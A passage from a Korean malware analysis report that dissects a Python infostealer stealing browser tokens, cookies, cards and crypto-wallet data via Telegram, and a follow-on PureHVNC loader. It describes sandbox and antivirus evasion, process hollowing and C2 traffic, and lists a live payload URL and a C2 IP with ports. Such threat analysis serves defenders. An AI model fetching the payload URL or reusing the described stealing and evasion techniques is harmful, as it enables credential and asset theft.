4.2.6. Google 인증 토큰 수집
인포스틸러는 사용자 브라우저에 저장된 Google 서비스 관련 인증 토큰을 수집하고, 이를 통해 피해자의 Google 계정에 대한 접근 권한을 확보한다. 공격자는 Chromium 계열 브라우저의 사용자 프로필 경로에서 SQLite 기반의 “Web Data” 파일을 탐색하고, 내부 “token_service” 테이블을 조회한다. 해당 테이블에는 서비스 이름과 함께 암호화된 인증 토큰이 저장되어 있으며, 주로 Google 계정의 로그인 세션 유지를 위한 refresh token이 포함된다. 인포스틸러는 이 테이블에서 각 행의 암호화된 토큰 값을 추출한 뒤, 이전에 확보한 마스터 키를 사용해 복호화를 수행한다. 복호화 된 결과가 “invalid_refresh_token” 문자열이 아닐 경우, 유효한 토큰으로 간주하고 이를 저장한다.
![[그림 21] Google 토큰 추출 로직](/api/media/file/21._Google_%ED%86%A0%ED%81%B0_%EC%B6%94%EC%B6%9C_%EB%A1%9C%EC%A7%81.png)
[그림 21] Google 토큰 추출 로직
수집된 토큰 정보는 “%TEMP%” 경로 하위의 고유 식별 폴더 내 “Google Chrome Token” 디렉토리에 저장되며, 파일명은 “브라우저명_프로필명.txt” 형식을 따른다. 각 항목에는 서비스 이름과 복호화 된 토큰 값이 포함된다. 이러한 토큰은 Gmail, Google Drive, YouTube 등 다양한 Google 서비스에 로그인할 수 있는 수단으로 사용될 수 있어, 계정 탈취 가능성이 매우 높다. Google 계정 기반 인증 통합이 일반화된 현재 환경에서, 해당 기능은 공격자가 시스템을 광범위하게 장악할 수 있는 핵심 통로로 작용한다.
4.2.7. 수집 결과 요약 및 실행 조건 판단
인포스틸러는 정보 수집이 완료되면, 주요 수집 항목별로 결과를 정리하고 이를 기반으로 실행 환경을 평가한다. 수집 항목은 로그인 정보, 쿠키, 신용카드 정보, Google 토큰, Facebook 쿠키로 구성되며, 각 항목에 대해 Chromium 계열과 Gecko 계열의 수집 건수를 합산한다.
![[그림 22] 수집 항목의 카운트 합산 로직](/api/media/file/22._%EC%88%98%EC%A7%91_%ED%95%AD%EB%AA%A9%EC%9D%98_%EC%B9%B4%EC%9A%B4%ED%8A%B8_%ED%95%A9%EC%82%B0_%EB%A1%9C%EC%A7%81.png)
[그림 22] 수집 항목의 카운트 합산 로직
인포스틸러는 다음 조건에 해당할 경우 프로그램 실행을 중단한다.
- 로그인 정보와 자동완성 항목이 모두 없는 경우
- 현재 로그인된 계정 이름이 “WDAGUtilityAccount”인 경우
![[그림 23] 프로그램 종료 조건문](/api/media/file/23._%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8_%EC%A2%85%EB%A3%8C_%EC%A1%B0%EA%B1%B4%EB%AC%B8.png)
[그림 23] 프로그램 종료 조건문
“WDAGUtilityAccount”는 Windows Defender Application Guard 환경에서 사용하는 특수 계정으로, 가상화 기반 샌드박스 환경일 가능성이 높다. 인포스틸러는 이러한 조건을 탐지할 경우, 즉시 종료하여 탐지를 회피한다. 이러한 종료 조건은 분석 방해를 유도하고 불필요한 리소스 낭비를 방지하기 위한 목적으로 설계되었으며, 인포스틸러는 오직 일반 사용자 환경에서만 본격적인 악성 행위를 수행한다.
4.2.8. IP 및 위치 정보 수집
인포스틸러는 감염된 시스템의 외부 IP 정보를 확인하여 피해자의 지역 정보 및 네트워크 환경을 파악한다.
이를 위해 “https://ipwho.is/?output=json” API에 요청을 보내고, 응답받은 JSON 데이터를 파싱 해 IP 주소, 국가 코드, 국가명, 국가 플래그 이모지를 추출한다. 이 정보는 이후 Telegram 메시지 본문에 포함되어 공격자에게 전달된다. 해당 기능을 통해 공격자는 피해 시스템의 지리적 분포, 특정 국가를 타깃으로 한 공격 성과, 우회 경로(VPN·프록시 등) 사용 여부 등을 식별할 수 있다.
![[그림 24] IP 정보 추출 로직](/api/media/file/24._IP_%EC%A0%95%EB%B3%B4_%EC%B6%94%EC%B6%9C_%EB%A1%9C%EC%A7%81.png)
[그림 24] IP 정보 추출 로직
API 요청이 실패하거나 예외가 발생할 경우, 인포스틸러는 "N/A" 값을 할당해 메시지를 구성하고 이후 흐름을 정상적으로 이어간다. 이처럼 수집된 IP 정보는 피해자의 환경을 정밀하게 분석하고, 공격 전략을 조정하는 데 중요한 판단 요소로 사용된다.
4.2.9. 설치 백신 정보 추출
인포스틸러는 감염된 시스템에 설치된 보안 소프트웨어 목록을 확인하여, 탐지 회피 전략이나 공격 타깃 선정에 활용한다.
공격자는 Windows Management Instrumentation(WMI)을 사용해 “root\SecurityCenter2” 네임스페이스에 접근하고, “AntiVirus
Product” 항목을 기준으로 설치된 백신 제품 목록을 조회한다.
해당 로직은 각 백신 제품의 “displayName” 필드를 수집하고, 결과를 Telegram 메시지에 포함해 전달한다. 이를 통해 공격자는 시스템의 보안 수준을 미리 파악하고, 특정 백신이 설치된 환경에서 별도의 우회 코드나 우선 회피 대상 여부를 결정할 수 있다.
![[그림 25] 백신 제품 리스트 추출 로직](/api/media/file/25._%EB%B0%B1%EC%8B%A0_%EC%A0%9C%ED%92%88_%EB%A6%AC%EC%8A%A4%ED%8A%B8_%EC%B6%94%EC%B6%9C_%EB%A1%9C%EC%A7%81.png)
[그림 25] 백신 제품 리스트 추출 로직
수집된 백신 정보는 일반 사용자와 기업 환경을 구분하는 지표로도 활용되며, 보안이 강화된 네트워크에 대한 침투 여부를 분석하는 데에도 사용된다.
4.2.10. 수집 정보 압축
인포스틸러는 수집된 정보를 외부로 전송하기에 앞서, 모든 데이터를 하나의 압축 파일로 묶는다. 압축 파일 이름에는 감염 시스템의 국가 코드, 외부 IP 주소, 컴퓨터 이름을 포함하며, 예시는 “[KR_123.45.67.89] DESKTOP-EXAMPLE.zip”과 같다. 공격자는 TEMP 디렉토리 하위에 생성한 고유 폴더를 재귀적으로 탐색하면서 폴더 구조를 유지한 채 파일을 압축한다. 이 폴더에는 쿠키, 로그인 정보, 카드 정보, 자동완성 데이터, Google 토큰 등이 정리되어 있다.
![[그림 26] 압축 파일 생성 로직](/api/media/file/26._%EC%95%95%EC%B6%95_%ED%8C%8C%EC%9D%BC_%EC%83%9D%EC%84%B1_%EB%A1%9C%EC%A7%81.png)
[그림 26] 압축 파일 생성 로직
압축 작업은 메모리 기반 스트림에서 진행되며, ZIP 포맷으로 생성한다. 이 과정에서 압축 파일에는 주석(comment)을 삽입하는데, 생성 시각과 함께 “https://t.me/LoneNone”이라는 Telegram 주소가 명시되어 있다. 해당 주소는 실제 데이터 수신자와 직접적인 관련이 없는 것으로 보이며, 제작자가 식별을 위한 태그를 삽입했거나 빌더 정보일 가능성이 존재한다. 공격자와 제작자가 동일인이 아닐 수도 있다는 점을 고려하면, 이는 서명 또는 제작 도구의 출처로 해석할 수 있다.
![[그림 27] 압축 파일의 주석](/api/media/file/27._%EC%95%95%EC%B6%95_%ED%8C%8C%EC%9D%BC%EC%9D%98_%EC%A3%BC%EC%84%9D.png)
[그림 27] 압축 파일의 주석
4.2.11. Telegram 채널을 통한 전송
인포스틸러는 수집한 정보를 압축한 뒤, Telegram 메시지 API를 이용해 외부 채널로 전송한다.
공격자는 사전에 설정한 봇 토큰 및 채널 ID를 활용해 압축 파일을 업로드하며, 메시지 본문에는 감염 시스템의 주요 정보 및 수집 요약 결과를 함께 포함한다. 전송 전 인포스틸러는 시스템 고유 식별값 기반의 카운터 파일을 확인한다. 해당 카운터는 “%PUBLIC%” 디렉토리 하위에 UUID5 알고리즘으로 생성된 고정 파일명으로 저장되며, 시스템 내 감염 횟수를 1씩 증가시키며 기록한다. 이를 통해 인포스틸러는 현재 시스템이 최초 감염인지 재감염 상태인지 판단하고, 전송 채널 및 메시지 포맷을 조건에 따라 분기한다.
![[그림 28] 감염 횟수 추적을 위한 카운터 생성 및 갱신](/api/media/file/28._%EA%B0%90%EC%97%BC_%ED%9A%9F%EC%88%98_%EC%B6%94%EC%A0%81%EC%9D%84_%EC%9C%84%ED%95%9C_%EC%B9%B4%EC%9A%B4%ED%84%B0_%EC%83%9D%EC%84%B1_%EB%B0%8F_%EA%B0%B1%EC%8B%A0.png)
[그림 28] 감염 횟수 추적을 위한 카운터 생성 및 갱신
최초 감염 시, 인포스틸러는 별도의 알림 채널(CHAT_ID_NEW_NOTIFY)을 통해 시스템 정보를 먼저 전송하고, 이후 본 채널(CHAT_ID_NEW)로 압축 파일을 전송한다. 반면 재감염의 경우, 메시지 전송 없이 본 채널(CHAT_ID_RESET)로만 압축 파일을 전달한다. 이 로직은 공격자가 초기 감염 여부를 실시간으로 식별하고, 시스템별 유출 정보를 분리·관리할 수 있도록 구성됐다.
![[그림 29] 감염 여부에 따른 Telegram 메시지/압축 파일 전송 로직](/api/media/file/29._%EA%B0%90%EC%97%BC_%EC%97%AC%EB%B6%80%EC%97%90_%EB%94%B0%EB%A5%B8_Telegram_%EB%A9%94%EC%8B%9C%EC%A7%80%EC%95%95%EC%B6%95_%ED%8C%8C%EC%9D%BC_%EC%A0%84%EC%86%A1_%EB%A1%9C%EC%A7%81.png)
[그림 29] 감염 여부에 따른 Telegram 메시지/압축 파일 전송 로직
전송 메시지에는 다음 항목이 포함된다.
IP | 외부 IP 주소 |
|---|---|
Country | 국기 이모지, 국가 코드, 국가명 |
User | 현재 로그인된 사용자 계정 이름 |
AntiVirus | 설치된 백신 제품명 또는 “Unknown” |
Browser Data: CK | 수집된 쿠키 수 |
Browser Data: PW | 수집된 로그인 정보 수 |
Browser Data: AF | 수집된 자동완성 항목 수 |
Browser Data: CC | 수집된 카드 정보 수 |
Browser Data: TK | 수집된 Google 인증 토큰 수 |
Browser Data: FB | 수집된 Facebook 쿠키 수 |
Browser Data: GADS | 광고 쿠키 존재 여부 |
[표 2] Telegram 메시지에 포함된 수집 정보 항목
전송이 완료되면 인포스틸러는 수집된 데이터 및 관련 흔적을 모두 제거한다.
먼저 TEMP 디렉토리 하위에 생성한 고유 폴더를 재귀적으로 삭제하고, 이어서 압축 파일 경로를 확인한 후 존재 시 이를 삭제한다. 이 삭제 루틴은 감염 흔적을 은폐하기 위한 전략으로 작동하며, 분석 회피와 증거 인멸을 목적으로 한다.
![[그림 30] 전송 완료 후 수집 디렉토리 및 압축 파일 삭제 절차](/api/media/file/SE-a83774db-40d1-47cb-b4b9-108a33f6ab5c.png)
[그림 30] 전송 완료 후 수집 디렉토리 및 압축 파일 삭제 절차
4.2.12. 추가 페이로드 로딩 및 실행
인포스틸러는 정보 수집 및 전송을 완료한 후, "https://0x0.st/8fw7.txt" 주소에 접근해 페이로드를 즉시 메모리 상에서 실행한다. 이 방식은 별도의 실행 파일 생성 없이 악성코드를 수행하는 파일리스(fileless) 기법에 해당하며, 안티바이러스 탐지 회피에 유리한 전략으로 작동한다.
![[그림 31] 외부 텍스트 페이로드 로드 및 실행](/api/media/file/31-1.png)
[그림 31] 외부 텍스트 페이로드 로드 및 실행
페이로드가 호스팅 된 "0x0.st"는 일반 사용자 누구나 파일과 텍스트를 업로드할 수 있는 오픈 플랫폼으로, 접근 제어나 보안 통제가 사실상 존재하지 않는다. 공격자는 이러한 환경을 활용해 C2 서버를 직접 운영하지 않고도 악성 페이로드를 배포한다. 이는 인프라 탐지를 우회하는 데 효과적이며, 보안 솔루션의 정적 분석 탐지 기반을 무력화하는 기법으로 분류된다.
이 마지막 실행 단계는 단순한 정보 탈취 기능에서 벗어나, 추가 감염, 기능 확장, 지속적인 제어 등의 고도화된 악성 행위로 이어지는 출발점으로 작동한다.
4.3. PureHVNC 인포스틸러
4.3.1. 후속 페이로드 드롭
Python 기반 인포스틸러는 수집과 전송을 완료한 후, 외부 URL로부터 추가 페이로드를 불러온다. "https://0x0.st/8fw7.txt"에 업로드된 텍스트 기반 페이로드는 base85 디코딩과 Zlib 압축 해제를 거친 뒤, RSA, AES, XOR, RC4 복호화를 순차적으로 수행해 “.pyc” 포맷의 바이트코드를 생성한다. 해당 페이로드는 “8fw7.py”로 명명하고 분석을 진행했다.
![[그림 32] 8fw7 페이로드](/api/media/file/32._8fw7_%ED%8E%98%EC%9D%B4%EB%A1%9C%EB%93%9C.png)
[그림 32] 8fw7 페이로드
“8fw7.py” 내부에는 암호화된 PE 파일과 복호화 키가 함께 포함되어 있으며, PE 파일은 RC4 방식으로 복호화 한 뒤, 정상 프로세스인 “RegAsm.exe”에 프로세스 할로잉 방식으로 주입된다.
![[그림 33] RegAsm.exe 프로세스 할로잉 구조](/api/media/file/33.png)
[그림 33] RegAsm.exe 프로세스 할로잉 구조
추가적으로 “8fw7.py”는 tasklist 명령을 통해 시스템 내 실행 중인 프로세스를 탐색하고, 특정 백신 프로세스가 탐지되면 실행을 중단한다. 탐지 대상이 되는 백신 프로세스 목록은 다음과 같다.
bdagent.exe, ProductAgentService.exe, AvastUI.exe, wsc_proxy.exe, afwServ.exe, aswEngSrv.exe, NortonSvc.exe, avgsvcx.exe, avgsvc.exe, avguard.exe, avshadow.exe, avscan.exe, sched.exe, avcenter.exe, avmailc.exe, avwebgrd.exe, avgnt.exe, avira.servicehost.exe |
할로잉된 PE 파일은 “Qekvcon_crypted.exe”라는 .NET 실행 파일이다. 이 파일은 XOR 키를 이용해 내부에 암호화된 페이로드를 다시 복호화하고, 메모리 상에서 실행한다.
이후 실행된 “Espbpn.exe”는 내부에서 “Xovzm.dll”을 메모리에 로드하고, 그 안의 “PureHVNC_Lib.Distribution” 네임스페이스에서 “DistributorCreator()” 메소드를 호출한다. 이 호출이 최종 인포스틸러 동작의 트리거 역할을 한다.
![[그림 34] “Espbpn.exe”에서 “Xovzm.dll” 로드하는 코드](/api/media/file/34._'Espbpn.exe'%EC%97%90%EC%84%9C_'Xovzm.dll'_%EB%A1%9C%EB%93%9C%ED%95%98%EB%8A%94_%EC%BD%94%EB%93%9C.png)
[그림 34] “Espbpn.exe”에서 “Xovzm.dll” 로드하는 코드
4.3.2. 통신 환경 구성
“Xovzm.dll”이 메모리에 로드되면, 가장 먼저 하드코딩된 문자열을 복호화 하는 과정을 수행한다.
이 문자열은 Base64로 인코딩되어 있으며, 내부적으로 GZIP으로 압축된 바이너리 데이터를 포함하고 있다. 복호화 과정은 Base64 디코딩, GZIP 해제를 통해 이루어지며, 최종적으로 공격자가 정의한 RoleResponder 객체가 생성된다. 이 객체는 사용자 정의 직렬화 포맷인 Protobuf 기반 구조로 되어 있다. 역직렬화된 RoleResponder 객체는 내부 필드명과 구조가 실제 기능과 전혀 관계없는 이름으로 구성되어 있으며, 공격자가 정의한 명령 및 통신 설정값을 포함하고 있다.
특히 BuildPublisher 필드는 Base64로 인코딩된 X.509 인증서 문자열이며, 이를 디코딩 하여 TLS 통신 과정에서 인증서로 사용한다. 이 인증서를 통해 TLS 기반의 암호화된 통신을 설정하며, 일반적인 C2 트래픽으로 탐지되지 않도록 은폐한다.
![[그림 35] 하드코딩된 문자열](/api/media/file/35._%ED%95%98%EB%93%9C%EC%BD%94%EB%94%A9%EB%90%9C_%EB%AC%B8%EC%9E%90%EC%97%B4.png)
[그림 35] 하드코딩된 문자열
역직렬화된 객체에는 다음과 같은 정보가 포함되어 있다:
필드명 | 값 |
|---|---|
ReceiveGroupedReceiver | 107.178.110.167 |
WriteReadableStream | 56001, 56002, 56003 |
BuildPublisher | Base64로 인코딩된 X.509 인증서 값 |
ReceiveScopeReceiver | APPDATA |
CollectSimpleDecryptor | 뮤텍스 식별자 6031e38d46ff |
[표 3] 역직렬화된 객체에 들어있는 필드명 및 값
설정된 정보가 메모리에 로드되면, 악성코드는 ReceiveGroupedReceiver 필드에 정의된 IP(107.178.110.167)로 연결을 시도한다. 포트는 56001~56003 사이를 순차적으로 시도하며, TCP 기반으로 통신을 수립한다. 연결이 성립되면, SslStream 클래스를 이용해 TLS 기반의 암호화된 통신 채널을 구성하고, 이후 모든 트래픽은 이 암호화된 채널을 통해 송수신된다. 해당 TLS 통신에는 앞서 디코딩 한 BuildPublisher 인증서가 사용되며, 공격자가 준비한 서버 인증서를 기반으로 암호화된 통신을 제공한다.
이와 같은 방식은 C2 트래픽의 내용 식별을 어렵게 만들며, 일반적인 트래픽과 구분이 힘들도록 설계되어 있다. 이렇게 전송 환경이 구성된 이후, 본격적인 정보 수집을 시작한다.
4.3.3. 시스템 정보 수집 객체 생성
“Xovzm.dll”은 통신 환경 설정을 마친 뒤, 시스템 내 다양한 정보를 수집하여 RoleResponder 객체에 저장한다.
이 객체는 Protobuf 기반의 사용자 정의 직렬화 구조로 구성되어 있으며, 수집된 정보는 일관된 포맷으로 구성된 필드에 분류되어 기록된다. 각 필드명은 실제 기능과 무관한 의미 없는 이름으로 정의되어 있으며, 필드에 저장되는 데이터는 다음과 같다.
필드명 | 설명 |
|---|---|
SetActiveVerifier | 시스템에 설치된 백신 제품의 이름 |
GetModularHandler | 시스템 고유 식별자. CPU/RAM/HDD ID와 사용자명을 MD5 해시한 값 |
PlanField | 카메라 장치 존재 여부 |
AccessTransformableService | “현재 로그인된 사용자명[컴퓨터 이름]” |
GetVisibleChain | 현재 사용자 계정의 권한 그룹 |
GetEditableFormatter | 고정 버전 문자열 “4.1.9” |
AccessCustomizableManager | 운영체제 이름과 비트 수 정보 |
CheckEfficientCollector | 정수값 4 |
GetGeneralClient | 암호화폐 지갑, Telegram 등 설치 목록 |
GetIsolatedProject | 마지막 사용자 입력 이후 경과 시간 (Xd Yh Zm As 포맷) |
GetAdvancedAnalyzer | 통신 설정 중 선언된 고정 값 “Default” |
SetIterableContext | 현재 실행 중인 프로세스의 전체 경로 |
[표 4] 수집된 정보가 저장되는 객체의 필드명 및 설명
우선, SetActiveVerifier 필드에는 시스템에 설치된 백신 제품의 이름을 저장한다.
이는 WMI(Windows Management Instrumentation)를 통해 “root\SecurityCenter2” 네임스페이스에 접근하여, AntiVirusProduct 클래스 인스턴스를 조회함으로써 확인된다. displayName 값을 기반으로, 사용 중인 보안 솔루션의 이름을 가져와 쉼표로 구분된 단일 문자열로 정리한다. 이는 공격자가 사전에 정의된 우회 대상 백신 목록과 비교하거나, 후속 페이로드의 실행 여부를 판단하는 데 활용될 수 있다.
시스템에 카메라 장치가 존재하는지는 PlanField 필드에 저장된다. 이 정보는 Win32_PnPEntity 클래스에서 PNPClass 속성이 “Image” 또는 “Camera”인 장치를 탐색함으로써 획득되며, 하나 이상의 장치가 발견되면 true, 그렇지 않거나 오류가 발생하면 false로 저장된다. 이 값은 피해자의 하드웨어 구성을 파악하거나, 특정 대상군(예: 웹캠이 탑재된 노트북 사용자)을 선별하기 위한 기준이 될 수 있다.
GetGeneralClient는 감염 시스템에 설치된 암호화폐 지갑, Telegram 클라이언트 등 민감 애플리케이션의 존재 여부를 확인하여 저장하는 필드이다. 이 정보는 피해자의 디지털 자산 보유 가능성과 탈취 우선순위를 판단하는 핵심 근거로 사용된다.
수집은 아래의 다섯 가지 방식으로 이루어진다.
① 브라우저 확장 ID 기반 프로그램 탐지
주요 브라우저의 사용자 데이터 디렉토리 내에 존재하는 확장 ID 디렉토리를 탐색한다. 공격자는 고유 확장 ID를 하드코딩한 뒤, ID 디렉토리가 존재하는지 확인함으로써 해당 프로그램의 설치 여부를 판단한다. 탐지 대상 프로그램은 다음과 같다.
TronLink, MetaMask, Binance Chain Wallet, Yoroi, Jaxx Liberty, BitApp Wallet, iWallet, Terra Station, BitClip, EQUAL Wallet, Wombat, Nifty Wallet, Math Wallet, Guarda, Coin98 Wallet, Trezor Password Manager, EOS Authenticator, Authy, GAuth Authenticator, Authenticator, TezBox, Cyano Wallet, Exodus Web3, BitKeep, Coinbase Wallet, Trust Wallet, XDEFI Wallet, Phantom, MOBOX WALLET, XDCPay, ICONex, Solana Wallet, Swash, Finnie, Keplr, Liquality Wallet, Rabet, Ronin Wallet, ZilPay, MetaMask, Exodus Web3, Trust Wallet, Braavos Smart Wallet, Yoroi, MetaMask, Guarda Wallet, BitKeep, Waves Keeper |
② 로컬 데스크탑 애플리케이션 탐지
설치 경로 또는 데이터 저장 디렉토리를 탐색하여 프로그램의 존재 여부를 판단한다. 탐지 대상 프로그램은 다음과 같다. Electrum, Exodus, Ethereum, Atomic Wallet, Telegram
③ 레지스트리 기반 탐지
소프트웨어가 설치되면 생성하는 레지스트리 키 또는 그 하위 값에서 저장 경로를 확인해 존재 여부를 판단한다. 경로 내부에서 strDataDir 값이 존재하고, 해당 경로가 실제 파일로 연결하면 설치된 것으로 간주한다. 탐지 대상 프로그램은 다음과 같다. Bitcoin-Qt, Dash-Qt, Litecoin-Qt
④ 기타 설치 경로 탐지
일부 프로그램(Ledger Live, Foxmail)은 고정 경로 또는 루트 디렉토리에 설치되므로, 해당 경로를 직접 탐색하여 프로그램 존재 여부를 확인한다.
4.3.4. 수집 정보 전송
공격자는 앞선 과정에서 수집한 정보 RoleResponder 객체를 외부로 전송한다. 먼저 RoleResponder 객체를 Protobuf 형식으로 직렬화한다. 직렬화된 바이트 배열은 추가로 GZip 압축을 거쳐 전체 전송 용량을 최소화한다.
이후 데이터 전송은 두 가지 방식 중 하나로 이루어진다.
- 1MB 이하의 데이터는 그대로 한 번에 전송한다.
- 1MB 초과 데이터는 내부 버퍼(16KB) 단위로 스트리밍 방식으로 분할 전송된다.
전송은 공격자가 설정한 TCP 소켓(앞서 확인된 107.178.110.167:56001~56003) 상에 구성된 SSL 암호화 채널을 통해 수행되며, 각 데이터 조각은 전송 가능 여부를 확인한 뒤 송신된다. 이 과정에서 소켓 상태를 Poll() 메소드를 통해 지속적으로 감시하며, 일정 시간 내 응답이 없을 경우 전송을 포기하고 예외 처리를 통해 복구 로직으로 진입한다.
![[그림 36] 수집 정보 전송 로직](/api/media/file/36._%EC%88%98%EC%A7%91_%EC%A0%95%EB%B3%B4_%EC%A0%84%EC%86%A1_%EB%A1%9C%EC%A7%81.png)
[그림 36] 수집 정보 전송 로직
4.3.5. 플러그인 수신 및 실행
해당 악성코드는 C2 서버로부터 플러그인 형태의 명령 객체를 다운로드하는 구조를 갖고 있다. 이 과정은 별도의 쓰레드를 통해 실행되며, 소켓 기반 통신을 통해 수신된 플러그인을 메모리에서 즉시 처리하고 로딩하는 방식으로 수행된다.
우선 악성코드는 4바이트 길이의 데이터를 수신하며, 이를 통해 이후 전송될 플러그인의 전체 크기를 파악한다. 해당 길이 정보를 기반으로 정확히 일치하는 바이트 수만큼의 데이터를 다시 수신한 뒤, 이를 GZIP 압축 해제 및 Protobuf 역직렬화를 통해 RoleResponder 객체로 복원한다. 복원된 명령 객체는 다시 내부 로직에서 분기되며, 각 명령 유형에 따라 처리 방식이 달라진다.
![[그림 37] 플러그인 다운로드 및 실행 로직](/api/media/file/37._%ED%94%8C%EB%9F%AC%EA%B7%B8%EC%9D%B8_%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C_%EB%B0%8F_%EC%8B%A4%ED%96%89_%EB%A1%9C%EC%A7%81.png)
[그림 37] 플러그인 다운로드 및 실행 로직
만약 수신된 명령 객체가 일반적인 플러그인 명령일 경우, 해당 객체의 속성 중 하나인 RemoveModularWriter 필드를 키로 사용해 Windows 레지스트리 “HKEY_CURRENT_USER\Software[시스템 고유값]”에 값을 저장하거나 조회한다.
저장된 값은 .NET 어셈블리 형태로 인코딩되어 있으며, 이를 역직렬화 및 압축 해제 후 메모리 상에 직접 로드하여 실행한다. 이때 첫 번째 public 클래스의 첫 번째 public 메소드를 자동 호출하며, 인자로는 객체 직렬화 데이터가 전달된다. 이를 통해 공격자는 원격 코드 실행을 매우 유연하게 수행할 수 있게 된다. 그러나 실제 분석 환경에서는 정상적인 플러그인 데이터를 수신하지 못했다.
C2 서버로부터 전달된 페이로드는 총 22바이트로, 모든 요청에 대해 항상 동일한 크기와 내용을 유지했다. 해당 데이터는 GZIP 형식으로 압축되어 있었지만, 이를 해제하더라도 실행 가능한 명령이나 의미 있는 데이터는 확인되지 않았다.
악성코드 내부 네임스페이스가 “PureHVNC”로 명명된 점과 구조적 유사성을 고려할 때, 이는 기존 PureHVNC 계열 악성코드와 연관된 것으로 보인다. 해당 계열 악성코드는 일반적으로 RemoteDesktop, pluginExecuting 등의 플러그인을 통해 원격 제어, 명령 실행 등 다양한 고급 기능을 수행하는 것으로 알려져 있다.
본 악성코드 역시 이러한 기능을 내장하고 있을 가능성이 높지만, 현재 분석 시점에서는 플러그인이 정상적으로 로드되지 않아 관련 기능이 확인되지 않았다. 이에 따라, 해당 기능은 C2 서버 측의 명령 전송이 일시적으로 차단된 상태이거나, 특정 조건이 충족되어야만 활성화되는 구조일 수 있다. 분석된 결과만으로는 기능의 전체 구현 여부를 단정할 수 없지만, 명확히 플러그인 로딩 및 실행 루틴이 존재하는 만큼, 향후 정상적인 명령이 수신될 경우 고도화된 악성 행위로 이어질 가능성을 배제할 수 없다.
![[그림 38] “Xovzm.dll” 네임스페이스에 적힌 “PureHVNC” 문자열](/api/media/file/38._'Xovzm.dll'_%EB%84%A4%EC%9E%84%EC%8A%A4%ED%8E%98%EC%9D%B4%EC%8A%A4%EC%97%90_%EC%A0%81%ED%9E%8C_'PureHVNC'_%EB%AC%B8%EC%9E%90%EC%97%B4.png)
[그림 38] “Xovzm.dll” 네임스페이스에 적힌 “PureHVNC” 문자열
5. 수집/유출 정보
구분 | 세부 정보 | 대상 프로그램/기술 |
|---|---|---|
브라우저 | - 쿠키 (페이스북 ‘c_user’ 쿠키 값, 구글 광고 쿠키 여부) - 로그인(이름, 비밀번호, 애플리케이션) | # Chromium 브라우저 Chromium, Thorium, Chrome, Chrome Beta, Chrome Dev, Chrome SxS, Maple, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Vivaldi Snapshot, Kometa, Elements, Epic, Uran, Fenrir, Catalina, Coowon, Liebao, QIP, Orbitum, Dragon, 360Browser, 360Browser Secure, Maxthon, Maxthon Nitro, K-Melon, CocCoc, Brave, Brave Beta, Brave Nightly, Amigo, Torch, Sputnik, Edge, Edge Beta, Edge Dev, Edge SxS, DCBrowser, Yandex, Yandex Beta, UR Browser, Slimjet, Opera, Opera Beta, Opera Developer, Opera GX, Opera GX Beta, Opera Crypto, Opera Neon, Speed360, QQBrowser, QQBrowser Mini, Sogou, Naver, Naver Beta, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Pale Moon, Basilisk, SuperBird, Comodo IceDragon, Atom, GhostBrowser, SalamWeb, Blisk, Fluent, Neon, Cyberfox, Waterfox, WhiteHat Aviator, RockMelt, CoolNovo, QtWeb, Titan Browser # Gecko 브라우저 Firefox, Firefox Nightly, Pale Moon, SeaMonkey, Waterfox, Mercury, K-Meleon, IceDragon, Cyberfox, BlackHaw, Basilisk, Firefox ESR, Flock, SlimBrowser, CometBird, GNU IceCat |
- 카드 정보(카드 이름, 만료일, 카드번호, 저장 시각) - Google 토큰(서비스명, 토큰 값) - 자동완성(이름, 값) | # Chromium 브라우저 Chromium, Thorium, Chrome, Chrome Beta, Chrome Dev, Chrome SxS, Maple, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Vivaldi Snapshot, Kometa, Elements, Epic, Uran, Fenrir, Catalina, Coowon, Liebao, QIP, Orbitum, Dragon, 360Browser, 360Browser Secure, Maxthon, Maxthon Nitro, K-Melon, CocCoc, Brave, Brave Beta, Brave Nightly, Amigo, Torch, Sputnik, Edge, Edge Beta, Edge Dev, Edge SxS, DCBrowser, Yandex, Yandex Beta, UR Browser, Slimjet, Opera, Opera Beta, Opera Developer, Opera GX, Opera GX Beta, Opera Crypto, Opera Neon, Speed360, QQBrowser, QQBrowser Mini, Sogou, Naver, Naver Beta, Avast, AVG, SRWare, Falkon, Wavebox, Sidekick, Pale Moon, Basilisk, SuperBird, Comodo IceDragon, Atom, GhostBrowser, SalamWeb, Blisk, Fluent, Neon, Cyberfox, Waterfox, WhiteHat Aviator, RockMelt, CoolNovo, QtWeb, Titan Browser | |
사용자 위치 데이터 | - IP - 국가 코드 - 국가 이름 - 국기 이모지 | https://ipwho.is API 활용 |
설치된 백신 제품 | - root/SecurityCenter2에 설치된 백신 제품 이름 | WMI 기반 탐지 |
설치된 프로그램 | - 프로그램 설치 여부 | # 브라우저 확장형 암호화폐 지갑 Binance Chain Wallet, BitApp Wallet, BitClip, BitKeep, Coin98 Wallet, Coinbase Wallet, Cyano Wallet, EQUAL Wallet, Exodus Web3, Finnie, Guarda, iWallet, ICONex, Jaxx Liberty, Keplr, Liquality Wallet, Math Wallet, MetaMask, MOBOX WALLET, Nifty Wallet, Phantom, Rabet, Ronin Wallet, Solana Wallet, Swash, TezBox, Terra Station, TronLink, Trust Wallet, Trezor Password Manager, Waves Keeper, Wombat, XDCPay, XDEFI Wallet, Yoroi, ZilPay # 데스크탑/레지스트리 기반 지갑 Atomic Wallet, Electrum, Ethereum, Exodus, Jaxx Liberty, Zcash, Bitcoin-Qt, Dash-Qt, Litecoin-Qt, Ledger Live # 2FA 및 인증 앱 Authenticator, Authy, Braavos Smart Wallet, GAuth Authenticator, Trezor Password Manager, EOS Authenticator # 기타 클라이언트 Telegram, Foxmail |
카메라 장치 | - Win32_PnpEntity의 PNPClass가 ‘Image’ 또는 ‘Camera’인 장치 탐지 여부 | WMI 기반 탐지 |
시스템 정보 | - 현재 로그인된 사용자 이름 - 사용자의 컴퓨터 이름 - 로그인 계정 권한 - 운영체제 종류 및 비트 버전 - 사용자 입력 비활성화 시간 - 악성코드 실행 경로 |
6. 결론
